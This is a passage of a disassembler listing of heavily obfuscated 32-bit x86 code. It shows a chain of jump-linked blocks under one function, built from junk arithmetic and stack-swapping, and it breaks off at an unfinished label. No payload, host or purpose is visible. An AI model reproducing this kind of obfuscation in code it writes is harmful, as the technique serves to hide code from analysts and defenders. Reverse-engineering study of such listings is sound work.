		mov	dh, ch
		mov	ecx, [esp+3Ch+var_3E+2]
		add	esp, 4
		pop	ebx
		jmp	loc_5AAE10
; ---------------------------------------------------------------------------


loc_5B1DFA:				; CODE XREF: sub_5A55E5+1912Aj
		pop	esi
		inc	ebp
		push	edi
		mov	edi, 0D4A2AE7h
		xor	ebp, edi
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		add	ebp, 8A4BCB03h
		jmp	loc_5ABC6B
; ---------------------------------------------------------------------------


loc_5B1E15:				; CODE XREF: sub_5A55E5+CBF9j
		push	ebp
		push	edx
		push	5DC82F4Ah
		push	[esp+3Ch+var_3E+2]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, 219526F3h
		add	ebp, 302E29A4h
		jmp	loc_5B2859
; ---------------------------------------------------------------------------


loc_5B1E37:				; CODE XREF: sub_5A55E5+D721j
		pop	ebx
		add	esp, 4
		jmp	loc_5AF46E
; ---------------------------------------------------------------------------


loc_5B1E40:				; CODE XREF: sub_5A55E5+D39Dj
		pop	[esp+34h+var_36+2]
		jmp	loc_5B264C
; ---------------------------------------------------------------------------


loc_5B1E48:				; CODE XREF: sub_5A55E5+54DBj
		push	ebx
		mov	ebx, 11F8097Eh
		xor	[esp+36h+var_32], ebx
		pop	ebx
		pop	ecx
		xor	ecx, 11F8097Eh
		push	[esp+2Eh+var_2E]
		pop	edx
		jmp	loc_5B4EAD
; ---------------------------------------------------------------------------


loc_5B1E63:				; CODE XREF: sub_5A55E5+778Aj
		dec	ebp
		push	eax
		jmp	loc_5BBBD3
; ---------------------------------------------------------------------------


loc_5B1E6A:				; CODE XREF: sub_5A55E5+7B72j
		mov	eax, ebp
		pop	ebp
		add	ebx, eax
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		xor	ebx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebx
		jmp	loc_5B6494
; ---------------------------------------------------------------------------


loc_5B1E83:				; CODE XREF: sub_5A55E5+735Dj
		pop	ebp
		dec	ebp
		not	ebp
		dec	ebp
		sub	ebp, 46CBDCD4h
		and	edx, ebp
		pop	ebp
		shr	edx, 7
		and	edx, 7D543673h
		jmp	loc_5B55E3
; ---------------------------------------------------------------------------


loc_5B1E9F:				; CODE XREF: sub_5A55E5+19337j
		sub	edx, 115421DBh
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	edx, ecx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		xor	edx, [esp+18h+var_18]
		xor	[esp+18h+var_18], edx
		xor	edx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	ax, word ptr [esp+18h+var_18]
		push	esi
		push	7D0Dh
		mov	[esp+20h+var_22+2], esp
		add	[esp+20h+var_22+2], 4
		push	[esp+20h+var_22+2]
		pop	esi
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, 4
		jmp	loc_5B644B
; ---------------------------------------------------------------------------


loc_5B1F0D:				; CODE XREF: sub_5A55E5+FA24j
		pop	ecx
		mov	edx, ebx
		pop	ebx
		shr	edx, 3
		xor	edx, 1C6591F4h
		xor	eax, edx
		pop	edx
		push	67CCh
		mov	[esp+20h+var_22+2], ebp
		push	4000h
		pop	ebp
		and	eax, ebp
		push	[esp+20h+var_22+2]
		mov	ebp, [esp+24h+var_26+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5B0535
; ---------------------------------------------------------------------------


loc_5B1F44:				; CODE XREF: sub_5A55E5+F5B8j
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 0EA61F7Ch
		sub	ecx, 0FDC1492h
		sub	ecx, 20A326CDh
		add	ecx, ebp
		jmp	loc_5B251D
; ---------------------------------------------------------------------------


loc_5B1F68:				; CODE XREF: sub_5A55E5+5648j
		push	4
		pop	esi
		sub	[esp+3Ah+var_36], 720A21B3h
		add	[esp+3Ah+var_36], esi
		add	[esp+3Ah+var_36], 720A21B3h
		push	[esp+3Ah+var_3A]
		pop	esi
		add	esp, 4
		pop	ebp
		add	ebp, 4
		jmp	loc_5AC234
; ---------------------------------------------------------------------------


loc_5B1F95:				; CODE XREF: sub_5A55E5+D741j
		sub	edx, 22EE65ABh
		add	edx, edi
		push	esi
		mov	esi, 4CC61F5Ah
		push	edi
		mov	edi, 52C66A74h
		or	esi, edi
		pop	edi
		sub	esi, 3BD819D3h
		add	edx, 17537FCDh
		add	edx, esi
		sub	edx, 17537FCDh
		pop	esi
		mov	edi, [esp+32h+var_32]
		jmp	loc_5B6B7F
; ---------------------------------------------------------------------------


loc_5B1FC9:				; CODE XREF: sub_5A55E5+DA3Cj
		pop	ebx
		mov	ebx, eax
		pop	eax
		jmp	loc_5ADB97
; ---------------------------------------------------------------------------


loc_5B1FD2:				; CODE XREF: sub_5A55E5+4B41j
		pop	edi
		add	eax, 1DE52AC4h
		add	ebp, 0DC87C3Ah
		add	ebp, 52132AF3h
		add	ebp, eax
		sub	ebp, 52132AF3h
		sub	ebp, 0DC87C3Ah
		pop	eax
		jmp	loc_5AF204
; ---------------------------------------------------------------------------


loc_5B1FF8:				; CODE XREF: sub_5A55E5+11F8Fj
		neg	edx
		jmp	loc_5ACAB3
; ---------------------------------------------------------------------------


loc_5B1FFF:				; CODE XREF: sub_5A55E5+7501j
		mov	[esp+26h+var_26], eax
		mov	eax, 1AC544ACh
		and	eax, 293F706Dh
		push	eax
		inc	[esp+2Ah+var_2A]
		pop	eax
		push	eax
		not	[esp+2Ah+var_2A]
		mov	eax, [esp+2Ah+var_2A]
		add	esp, 4
		neg	eax
		shl	eax, 3
		sub	eax, 626A22ECh
		add	ebx, eax
		pop	eax
		push	ebx
		mov	edi, [esp+26h+var_26]
		jmp	loc_5BBBFD
; ---------------------------------------------------------------------------


loc_5B2034:				; CODE XREF: sub_5A55E5+D739j
		mov	[esp+26h+var_26], ebx
		mov	ebx, 38304BDCh
		sub	ebx, 343501B8h
		dec	ebx
		jmp	loc_5B38DC
; ---------------------------------------------------------------------------


loc_5B2048:				; CODE XREF: sub_5A55E5+5947j
		pop	edx
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		xchg	ebp, [esp+0]
		jmp	loc_5B0773
; ---------------------------------------------------------------------------


loc_5B2060:				; CODE XREF: sub_5A55E5+8E9Cj
		add	ebp, 4CCC20F4h
		add	ebp, ebx
		sub	ebp, 4CCC20F4h
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		mov	ecx, 20h
		jmp	loc_5B4598
; ---------------------------------------------------------------------------


loc_5B2088:				; CODE XREF: sub_5A55E5+E4E2j
		push	esp
		pop	ebp
		jmp	loc_5ABA48
; ---------------------------------------------------------------------------


loc_5B208F:				; CODE XREF: sub_5A55E5+17468j
		mov	eax, 522C7446h
		xor	eax, 4BCE331Eh
		push	ebx
		mov	ebx, 563C72C8h
		jmp	loc_5B822E
; ---------------------------------------------------------------------------


loc_5B20A4:				; CODE XREF: sub_5A55E5+D995j
		add	ebp, 1602358Ah
		jmp	loc_5BA675
; ---------------------------------------------------------------------------


loc_5B20AF:				; CODE XREF: sub_5A55E5+10F85j
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5BC972
; ---------------------------------------------------------------------------


loc_5B20C2:				; CODE XREF: sub_5A55E5+9803j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+32h+var_32]
		jmp	loc_5AA0A9
; ---------------------------------------------------------------------------


loc_5B20D5:				; CODE XREF: sub_5A55E5+7AA0j
		test	cl, al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B20DD:				; CODE XREF: sub_5A55E5+EF3Ej
		xchg	eax, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		jmp	loc_5B2493
; ---------------------------------------------------------------------------


loc_5B20E8:				; CODE XREF: sub_5A55E5+D7CBj
		inc	ebp
		add	ebp, 0AB990BAFh
		sub	edi, ebp
		jmp	loc_5B0CEA
; ---------------------------------------------------------------------------


loc_5B20F6:				; CODE XREF: sub_5A55E5+624Bj
		push	eax
		mov	eax, 238A6D0Bh
		push	ebp
		mov	ebp, 4CD7654Ch
		jmp	loc_5BD547
; ---------------------------------------------------------------------------


loc_5B2107:				; CODE XREF: sub_5A55E5+BB78j
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, 5C05368Ah
		add	edi, eax
		add	edi, 5C05368Ah
		push	[esp+20h+var_22+2]
		pop	eax
		add	esp, 4
		push	2D6Dh
		jmp	loc_5B34E6
; ---------------------------------------------------------------------------


loc_5B213B:				; CODE XREF: sub_5A55E5+694Dj
		sub	esi, 43C12F41h
		jmp	loc_5BA3FF
; ---------------------------------------------------------------------------


loc_5B2146:				; CODE XREF: sub_5A55E5+182F0j
		mov	[esp+1Ch+var_1C], edx
		push	ebx
		jmp	loc_5B923F
; ---------------------------------------------------------------------------


loc_5B214F:				; CODE XREF: sub_5A55E5+11983j
		and	esi, 69DD6E24h
		push	7D44h
		mov	[esp+24h+var_26+2], ecx
		push	0
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		sub	ecx, esi
		xchg	ecx, esi
		pop	ecx
		xor	esi, 43B700F8h
		jmp	loc_5BD386
; ---------------------------------------------------------------------------


loc_5B217B:				; CODE XREF: sub_5A55E5+11F7Ej
		push	dx
		mov	dl, ch
		not	dl
		push	eax
		jmp	loc_5B0098
; ---------------------------------------------------------------------------


loc_5B2187:				; CODE XREF: sub_5A55E5+FB63j
		sub	ecx, 45B86715h
		push	ebx
		mov	ebx, 135B0378h
		xor	ebx, 3F625243h
		dec	ebx
		jmp	loc_5B0EA7
; ---------------------------------------------------------------------------


loc_5B219F:				; CODE XREF: sub_5A55E5+10D0Ej
		xor	[esp+2Ah+var_2A], esi
		jmp	loc_5B9499
; ---------------------------------------------------------------------------


loc_5B21A7:				; CODE XREF: sub_5A55E5+4DFAj
		xor	ecx, 0B998B08Dh
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		push	ebp
		mov	ebp, 78008Ch
		add	ecx, 188E0829h
		sub	ecx, ebp
		sub	ecx, 188E0829h
		jmp	loc_5B7D08
; ---------------------------------------------------------------------------


loc_5B21D0:				; CODE XREF: sub_5A55E5+7BD9j
		mov	[esp+24h+var_26+2], eax
		mov	eax, 4
		jmp	loc_5B12A5
; ---------------------------------------------------------------------------


loc_5B21DD:				; CODE XREF: sub_5A55E5+1877Dj
		pop	ecx
		jmp	loc_5B1E15
; ---------------------------------------------------------------------------


loc_5B21E3:				; CODE XREF: sub_5A55E5+15122j
		not	ecx
		jmp	loc_5B1CFF
; ---------------------------------------------------------------------------


loc_5B21EA:				; CODE XREF: sub_5A55E5+52A5j
		push	[esp+22h+var_22]
		jmp	loc_5BCC8A
; ---------------------------------------------------------------------------


loc_5B21F2:				; CODE XREF: sub_5A55E5+FA90j
		add	eax, 7C7F723Ah
		sub	eax, 348E7AFDh
		add	eax, esi
		jmp	loc_5AAA67
; ---------------------------------------------------------------------------


loc_5B2203:				; CODE XREF: sub_5A55E5+A87Ej
		xor	ecx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	6C7Ah
		mov	[esp+20h+var_22+2], ebx
		push	7CC9h
		mov	[esp+24h+var_26+2], eax
		mov	al, dl
		jmp	loc_5B599D
; ---------------------------------------------------------------------------


loc_5B2220:				; CODE XREF: sub_5A55E5+4A41j
		mov	edi, 1A6D5F8Ah
		add	ebx, edi
		pop	edi
		add	ebx, ecx
		push	ebp
		mov	ebp, 2AD85AA5h
		or	ebp, 49B66669h
		neg	ebp
		add	ebp, 866BDE77h
		sub	ebx, ebp
		mov	ebp, [esp+24h+var_26+2]
		jmp	loc_5B1A5F
; ---------------------------------------------------------------------------


loc_5B2248:				; CODE XREF: sub_5A55E5+15338j
		pop	eax
		pop	edx
		add	dh, 42h
		add	dh, cl
		push	bx
		jmp	loc_5A9D92
; ---------------------------------------------------------------------------


loc_5B2256:				; CODE XREF: sub_5A55E5+1644Ej
		add	eax, 69FA483Fh
		push	eax
		not	[esp+22h+var_22]
		pop	eax
		xor	eax, 0A2C981A4h
		jmp	loc_5B7BAD
; ---------------------------------------------------------------------------


loc_5B226A:				; CODE XREF: sub_5A55E5+1031Dj
		xor	edx, 5BDE003Bh
		add	edi, 7FE23FB2h
		add	edi, 513C4256h
		sub	edi, edx
		sub	edi, 513C4256h
		sub	edi, 7FE23FB2h
		pop	edx
		add	edi, esi
		add	edi, 4AF81232h
		jmp	loc_5AD783
; ---------------------------------------------------------------------------


loc_5B2298:				; CODE XREF: sub_5A55E5+10001j
		push	esi
		jmp	loc_5B8276
; ---------------------------------------------------------------------------


loc_5B229E:				; CODE XREF: sub_5A55E5+D04Dj
		sub	ecx, edx
		pop	edx
		sub	ecx, 76260387h
		not	ecx
		push	ebx
		mov	ebx, 7425674Fh
		neg	ebx
		dec	ebx
		xor	ebx, 18069780h
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	edx, 50715E15h
		jmp	loc_5B5225
; ---------------------------------------------------------------------------


loc_5B22CE:				; CODE XREF: sub_5A55E5+5DE1j
		mov	edx, 3CAB3593h
		mov	eax, edx
		jmp	loc_5B1CED
; ---------------------------------------------------------------------------


loc_5B22DA:				; CODE XREF: sub_5A55E5+13D91j
		mov	ch, dh
		jmp	loc_5B2465
; ---------------------------------------------------------------------------


loc_5B22E1:				; CODE XREF: sub_5A55E5+19553j
		add	esp, 4
		mov	cl, byte ptr [esp+20h+var_1C]
		jmp	loc_5BD366
; ---------------------------------------------------------------------------


loc_5B22ED:				; CODE XREF: sub_5A55E5+B3A2j
		pop	edx
		pop	esi
		pop	esi
		push	435Ah
		mov	[esp+22h+var_22], eax
		jmp	loc_5B8291
; ---------------------------------------------------------------------------


loc_5B22FD:				; CODE XREF: sub_5A55E5+15204j
		mov	edi, 8A27A16h
		or	edi, 5CA14397h
		add	edi, 1
		neg	edi
		push	58A6h
		mov	[esp+26h+var_26], ebx
		push	edi
		jmp	loc_5B378D
; ---------------------------------------------------------------------------


loc_5B231E:				; CODE XREF: sub_5A55E5+D4A9j
		pop	edi
		jmp	loc_5BE6AB
; ---------------------------------------------------------------------------


loc_5B2324:				; CODE XREF: sub_5A55E5+16A7Fj
		pop	esi
		pop	[esp+22h+var_22]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		push	esi
		jmp	loc_5B9520
; ---------------------------------------------------------------------------


loc_5B2334:				; CODE XREF: sub_5A55E5+DBD3j
		pop	eax
		push	dword ptr [esp+0]
		pop	esi
		jmp	loc_5B8409
; ---------------------------------------------------------------------------


loc_5B233E:				; CODE XREF: sub_5A55E5+5B10j
		xor	edx, 2953242Eh
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5B39D6
; ---------------------------------------------------------------------------


loc_5B235E:				; CODE XREF: sub_5A55E5+18983j
		mov	ch, dl
		jmp	loc_5B4D6A
; ---------------------------------------------------------------------------


loc_5B2365:				; DATA XREF: sub_5A55E5+42A3o
		push	0D35h
		mov	[esp+18h+var_18], ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		push	edi
		mov	edi, 2E357E39h
		mov	ebp, edi
		pop	edi
		jmp	loc_5BE921
; ---------------------------------------------------------------------------


loc_5B2381:				; CODE XREF: sub_5A55E5+59F8j
		sub	edx, ecx
		jmp	loc_5B0146
; ---------------------------------------------------------------------------


loc_5B2388:				; CODE XREF: sub_5A55E5+A705j
		push	esi
		mov	esi, 0BD0CB693h
		add	ecx, esi
		pop	esi
		push	3D8176DBh
		pop	esi
		xor	esi, ecx
		jmp	loc_5BA449
; ---------------------------------------------------------------------------
		push	[esp+28h+var_26+2]
		mov	eax, [esp+2Ch+var_2E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5B50A3
; ---------------------------------------------------------------------------


loc_5B23B3:				; CODE XREF: sub_5A55E5+526Bj
		pop	ebx
		jmp	loc_5BE1A5
; ---------------------------------------------------------------------------


loc_5B23B9:				; CODE XREF: sub_5A55E5+8693j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_5B90D2
; ---------------------------------------------------------------------------


loc_5B23E0:				; CODE XREF: sub_5A55E5+17650j
		mov	ecx, esp
		jmp	loc_5B6C0D
; ---------------------------------------------------------------------------


loc_5B23E7:				; CODE XREF: sub_5A55E5+A176j
		dec	edi
		neg	edi
		jmp	loc_5B2BFB
; ---------------------------------------------------------------------------


loc_5B23EF:				; CODE XREF: sub_5A55E5+A1B9j
		mov	esi, [esp+52h+var_54+2]
		push	edx
		push	esp
		push	[esp+5Ah+var_5C+2]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		jmp	loc_5AB9FA
; ---------------------------------------------------------------------------


loc_5B240F:				; CODE XREF: sub_5A55E5+15297j
		pop	ebx
		jmp	loc_5B671D
; ---------------------------------------------------------------------------


loc_5B2415:				; CODE XREF: sub_5A55E5+5696j
		add	ecx, 38E6579Ch
		pop	eax
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5B33C8
; ---------------------------------------------------------------------------


loc_5B2429:				; CODE XREF: sub_5A55E5+9A0Ej
		dec	esi
		sub	esi, 0E8FEB1F9h
		push	203Eh
		mov	[esp+30h+var_32+2], ecx
		mov	ecx, esi
		mov	edi, ecx
		pop	ecx
		pop	esi
		sub	edi, 399B3A61h
		sub	edi, eax
		jmp	loc_5AA55F
; ---------------------------------------------------------------------------


loc_5B244B:				; CODE XREF: sub_5A55E5+B2B1j
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	edx
		pop	eax
		jmp	loc_5BB34D
; ---------------------------------------------------------------------------


loc_5B245B:				; CODE XREF: sub_5A55E5+67A8j
		push	4
		jmp	loc_5BB6B9
; ---------------------------------------------------------------------------


loc_5B2465:				; CODE XREF: sub_5A55E5+CCF7j
		mov	bl, ch
		pop	ecx
		not	bl
		mov	dh, bl
		pop	bx
		add	dh, 63h
		xor	al, dh
		mov	edx, [esp+0]
		jmp	loc_5B42B9
; ---------------------------------------------------------------------------


loc_5B247B:				; CODE XREF: sub_5A55E5+19BF8j
		push	edi
		mov	edi, 5B4074B4h
		push	ebp
		jmp	loc_5AAEC7
; ---------------------------------------------------------------------------


loc_5B2487:				; CODE XREF: sub_5A55E5+5F12j
		pop	ecx
		add	bl, 0B0h
		sub	bl, 2Bh
		jmp	loc_5AA1D2
; ---------------------------------------------------------------------------


loc_5B2493:				; CODE XREF: sub_5A55E5+CAFEj
		sub	esp, 4
		mov	[esp+40h+var_42+2], edx
		sub	esp, 4
		jmp	loc_5B24D6
; ---------------------------------------------------------------------------


loc_5B24A4:				; CODE XREF: sub_5A55E5+116DAj
		sub	ebx, eax
		pop	eax
		jmp	loc_5BC022
; ---------------------------------------------------------------------------


loc_5B24AC:				; CODE XREF: sub_5A55E5+D0FAj
		push	[esp+40h+var_42+2]
		jmp	loc_5BC67D
; ---------------------------------------------------------------------------


loc_5B24B4:				; CODE XREF: sub_5A55E5+17135j
		add	eax, 1
		jmp	loc_5BE68A
; ---------------------------------------------------------------------------


loc_5B24BC:				; CODE XREF: sub_5A55E5+56AEj
		sub	[esp+20h+var_22+2], 6C1112E9h
		pop	dword ptr [ecx]
		add	dword ptr [ecx], 6C1112E9h
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5BAFBD
; ---------------------------------------------------------------------------


loc_5B24D6:				; CODE XREF: sub_5A55E5+CEBAj
		mov	[esp+44h+var_46+2], esp
		jmp	loc_5B06B2
; ---------------------------------------------------------------------------


loc_5B24DE:				; CODE XREF: sub_5A55E5+18791j
		push	eax
		mov	eax, 0
		jmp	loc_5AA696
; ---------------------------------------------------------------------------


loc_5B24E9:				; CODE XREF: sub_5A55E5+154EFj
		mov	[esp+48h+var_4A+2], ebx
		mov	ebx, 4
		push	edi
		mov	edi, 1686733Dh
		or	edi, 0B7A1DE0h
		dec	edi
		jmp	loc_5BB5DF
; ---------------------------------------------------------------------------


loc_5B2503:				; CODE XREF: sub_5A55E5+11AB9j
		add	esi, 4
		push	edx
		push	eax
		push	758A31CBh
		pop	eax
		xor	eax, 758A31CFh
		mov	edx, eax
		jmp	loc_5A9C2C
; ---------------------------------------------------------------------------


loc_5B251D:				; CODE XREF: sub_5A55E5+C97Ej
		add	ecx, 20A326CDh
		add	ecx, 0FDC1492h
		pop	ebp
		add	ecx, edi
		sub	ecx, 0EA61F7Ch
		push	3832h
		jmp	loc_5AAC80
; ---------------------------------------------------------------------------


loc_5B253C:				; CODE XREF: sub_5A55E5+1335Aj
		shl	eax, 7
		add	eax, 0A6D363E8h
		add	edi, eax
		pop	eax
		add	esi, edi
		push	[esp+24h+var_26+2]
		pop	edi
		add	esp, 4
		xchg	esi, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		mov	dx, word ptr [esp+20h+var_22+2]
		push	esi
		push	esp
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		push	0C0Eh
		jmp	loc_5BEF3F
; ---------------------------------------------------------------------------


loc_5B2572:				; CODE XREF: sub_5A55E5+AE6Fj
		mov	[esp+42h+var_42], ecx
		push	esp
		mov	ecx, [esp+46h+var_46]
		jmp	loc_5AD386
; ---------------------------------------------------------------------------


loc_5B257E:				; CODE XREF: sub_5A55E5+9938j
		and	eax, 7AF322C6h
		push	esi
		mov	esi, 16D502Dh
		sub	esi, 861B043Dh
		xor	eax, esi
		pop	esi
		jmp	loc_5B5B85
; ---------------------------------------------------------------------------


loc_5B2597:				; CODE XREF: sub_5A55E5+15192j
		pop	esi
		push	esi
		jmp	loc_5B6D41
; ---------------------------------------------------------------------------


loc_5B259E:				; CODE XREF: sub_5A55E5+1770Aj
		pop	ax
		sub	si, 92B1h
		add	bp, 58D3h
		jmp	loc_5BC14B
; ---------------------------------------------------------------------------


loc_5B25AF:				; CODE XREF: sub_5A55E5+F74Ej
		add	esp, 4
		push	edx
		push	430Bh
		mov	[esp+2Ah+var_2A], esp
		add	[esp+2Ah+var_2A], 4
		pop	edx
		jmp	loc_5BB161
; ---------------------------------------------------------------------------


loc_5B25C8:				; CODE XREF: sub_5A55E5+19C21j
		xchg	edi, ebp
		jmp	loc_5BAC58
; ---------------------------------------------------------------------------


loc_5B25CF:				; CODE XREF: sub_5A55E5+170E0j
		xor	ebp, [esp+26h+var_26]
		pop	esp
		jmp	loc_5B02E5
; ---------------------------------------------------------------------------


loc_5B25D8:				; CODE XREF: sub_5A55E5+B885j
		add	[esp+1Ah+var_1C+2], 4
		jmp	loc_5BDC69
; ---------------------------------------------------------------------------


loc_5B25E1:				; CODE XREF: sub_5A55E5+E5F6j
		pop	esp
		mov	[esp+16h+var_18+2], edx
		jmp	loc_5B4645
; ---------------------------------------------------------------------------


loc_5B25EA:				; CODE XREF: sub_5A55E5+125A6j
		xor	cl, 88h
		and	al, cl
		mov	cx, word ptr [esp+16h+var_18+2]
		jmp	loc_5AF77A
; ---------------------------------------------------------------------------


loc_5B25F8:				; CODE XREF: sub_5A55E5+745Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_5B0AD6
; ---------------------------------------------------------------------------


loc_5B261B:				; CODE XREF: sub_5A55E5+49D3j
		mov	edx, [esp+14h+var_14]
		jmp	loc_5AA85C
; ---------------------------------------------------------------------------


loc_5B2623:				; CODE XREF: sub_5A55E5+9657j
		pop	esp
		jmp	loc_5B6011
; ---------------------------------------------------------------------------


loc_5B2629:				; CODE XREF: sub_5A55E5+7168j
		xchg	ebx, ecx
		dec	ecx
		push	edx
		mov	edx, 6D644CE5h
		jmp	loc_5B229E
; ---------------------------------------------------------------------------


loc_5B2637:				; CODE XREF: sub_5A55E5+52DBj
		add	eax, 4277163Dh
		jmp	loc_5AB0D0
; ---------------------------------------------------------------------------


loc_5B2641:				; CODE XREF: sub_5A55E5+BCFEj
		add	eax, esi
		pop	esi
		xor	eax, [esp+20h+var_22+2]
		jmp	loc_5AE73B
; ---------------------------------------------------------------------------


loc_5B264C:				; CODE XREF: sub_5A55E5+C85Ej
		mov	esp, [esp+30h+var_32+2]
		mov	ax, word ptr [esp+30h+var_32+2]
		push	ebx
		push	256Ch
		push	esp
		pop	[esp+3Ch+var_3E+2]
		add	[esp+38h+var_3A+2], 4
		jmp	loc_5BF436
; ---------------------------------------------------------------------------


loc_5B2669:				; CODE XREF: sub_5A55E5+8399j
		push	esi
		mov	edx, [esp+5Eh+var_60+2]
		push	0DDFh
		mov	[esp+62h+var_64+2], ecx
		jmp	loc_5AAA32
; ---------------------------------------------------------------------------


loc_5B267A:				; CODE XREF: sub_5A55E5+18D3Ej
		mov	esi, 0
		add	esi, 2D783B77h
		sub	esi, eax
		sub	esi, 2D783B77h
		mov	eax, esi
		pop	esi
		neg	eax
		jmp	loc_5B465F
; ---------------------------------------------------------------------------


loc_5B2697:				; CODE XREF: sub_5A55E5+DA4Bj
		add	eax, edi
		add	eax, 43E70EEh
		add	eax, 25723E92h
		push	[esp+5Eh+var_60+2]
		mov	edi, [esp+62h+var_64+2]
		add	esp, 4
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp+62h+var_64+2]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5ADA7A
; ---------------------------------------------------------------------------


loc_5B26CB:				; CODE XREF: sub_5A55E5+120BDj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5B061B
; ---------------------------------------------------------------------------


loc_5B26D9:				; CODE XREF: sub_5A55E5+17251j
		add	esi, 290B21B0h
		jmp	loc_5B24AC
; ---------------------------------------------------------------------------


loc_5B26E4:				; CODE XREF: sub_5A55E5+4CEAj
		mov	ebx, 72EF600Ah
		add	ebx, 9D79F2D0h
		sub	esi, ebx
		push	[esp+24h+var_26+2]
		jmp	loc_5BB2AF
; ---------------------------------------------------------------------------


loc_5B26F9:				; CODE XREF: sub_5A55E5+10480j
		pop	ebx
		add	edx, 4
		jmp	loc_5BA9EB
; ---------------------------------------------------------------------------


loc_5B2705:				; CODE XREF: sub_5A55E5+F456j
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		add	esp, 4
		xor	bl, al
		jmp	loc_5AB47C
; ---------------------------------------------------------------------------


loc_5B271B:				; CODE XREF: sub_5A55E5+108E0j
		sub	ebp, 6C66385Ah
		sub	ebp, 34AF667Ch
		shl	ebp, 4
		sub	ebp, 52175427h
		inc	ebp
		xor	ebp, 14DE0CC6h
		add	ebx, ebp
		pop	ebp
		pop	eax
		add	ebx, 23BF1AECh
		add	ebx, edi
		sub	ebx, 23BF1AECh
		mov	ecx, [ebx]
		mov	ebx, [esp+14h+var_14]
		jmp	loc_5B440B
; ---------------------------------------------------------------------------


loc_5B2753:				; CODE XREF: sub_5A55E5+B46Aj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+30h+var_32+2]
		pop	esp
		jmp	loc_5AE08C
; ---------------------------------------------------------------------------


loc_5B2766:				; CODE XREF: sub_5A55E5+10947j
		push	ecx
		mov	ecx, 294B4AAEh
		sub	ecx, 373679A7h
		and	ecx, 42F2030Fh
		jmp	loc_5AD57D
; ---------------------------------------------------------------------------


loc_5B277D:				; CODE XREF: sub_5A55E5+115FCj
		push	[esp+30h+var_2E+2]
		push	[esp+34h+var_36+2]
		pop	ebx
		add	esp, 4
		pop	[esp+30h+var_32+2]
		mov	esp, [esp+2Ch+var_2E+2]
		mov	[esp+2Ch+var_2E+2], ecx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B2796:				; CODE XREF: sub_5A55E5+187BDj
		pop	esp
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 6ECE54BFh
		jmp	loc_5AC812
; ---------------------------------------------------------------------------


loc_5B27A4:				; CODE XREF: sub_5A55E5+BE01j
		mov	esi, 40D84F49h
		jmp	loc_5BD9A7
; ---------------------------------------------------------------------------


loc_5B27AE:				; CODE XREF: sub_5A55E5+1436Cj
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5BAAC9
; ---------------------------------------------------------------------------


loc_5B27B9:				; CODE XREF: sub_5A55E5+4E3Cj
		not	edx
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		mov	ecx, 5D572CD5h
		jmp	loc_5BB44B
; ---------------------------------------------------------------------------


loc_5B27CE:				; CODE XREF: sub_5A55E5+A6BCj
